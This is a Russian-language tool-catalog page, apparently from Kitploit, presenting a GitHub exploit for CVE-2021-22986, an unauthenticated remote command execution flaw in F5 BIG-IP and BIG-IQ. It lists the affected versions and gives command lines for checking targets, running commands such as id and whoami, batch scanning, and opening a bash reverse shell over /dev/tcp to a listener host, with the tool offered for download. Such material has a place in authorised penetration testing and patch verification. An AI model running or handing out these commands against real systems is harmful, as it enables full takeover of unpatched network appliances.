Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-22986 — CVE-2021-22986 & F5 BIG-IP RCE | Kitploit
Инструменты/GitHubGitHub/al1ex/cve-2021-22986
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlRemote Access Tool
GitHubal1ex/cve-2021-22986

CVE-2021-22986

CVE-2021-22986 & F5 BIG-IP RCE

Репозиторий
91295 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Воздействие уязвимости

Эта уязвимость позволяет неаутентифицированным злоумышленникам, имеющим сетевой доступ к интерфейсу iControl REST через интерфейс управления BIG-IP и собственные IP-адреса, выполнять произвольные системные команды, создавать или удалять файлы, а также отключать службы. Данная уязвимость может быть использована только через плоскость управления (control plane) и не может быть использована через плоскость данных (data plane). Эксплуатация может привести к полной компрометации системы. Система BIG-IP в режиме Appliance также уязвима.

Уязвимый продукт

  • F5 BIG-IQ 6.0.0-6.1.0
  • F5 BIG-IQ 7.0.0-7.0.0.1
  • F5 BIG-IQ 7.1.0-7.1.0.2
  • F5 BIG-IP 12.1.0-12.1.5.2
  • F5 BIG-IP 13.1.0-13.1.3.5
  • F5 BIG-IP 14.1.0-14.1.3.1
  • F5 BIG-IP 15.1.0-15.1.2
  • F5 BIG-IP 16.0.0-16.0.1

Проверка уязвимости

Базовое использование

root@kitploit:~
python3 CVE_2021_22986.py

use

Проверка уязвимости

root@kitploit:~
python3 CVE_2021_22986.py -v true -u https://192.168.174.164

verify

Выполнение команды:

root@kitploit:~
python3 CVE_2021_22986.py -a true -u https://192.168.174.164 -c id

command_exec

root@kitploit:~
python3 CVE_2021_22986.py -a true -u https://192.168.174.164 -c whoami

exec_2

Пакетное сканирование

root@kitploit:~
python3 CVE_2021_22986.py -s true -f check.txt

batch_scan

Обратная оболочка

root@kitploit:~
python3 CVE_2021_22986.py -r true -u https://192.168.174.164 -c "bash -i >&/dev/tcp/192.168.174.129/8888 0>&1"

reverse_shell

reverse_shell_ok

Новый PoC

root@kitploit:~
python3 newpoc.py https://192.168.174.164

newpoc

Ссылки

https://support.f5.com/csp/article/K03009991

https://github.com/safesword/F5_RCE

https://attackerkb.com/topics/J6pWeg5saG/k03009991-icontrol-rest-unauthenticated-remote-command-execution-vulnerability-cve-2021-22986

https://github.com/Udyz/CVE-2021-22986-SSRF2RCE

Скачать инструмент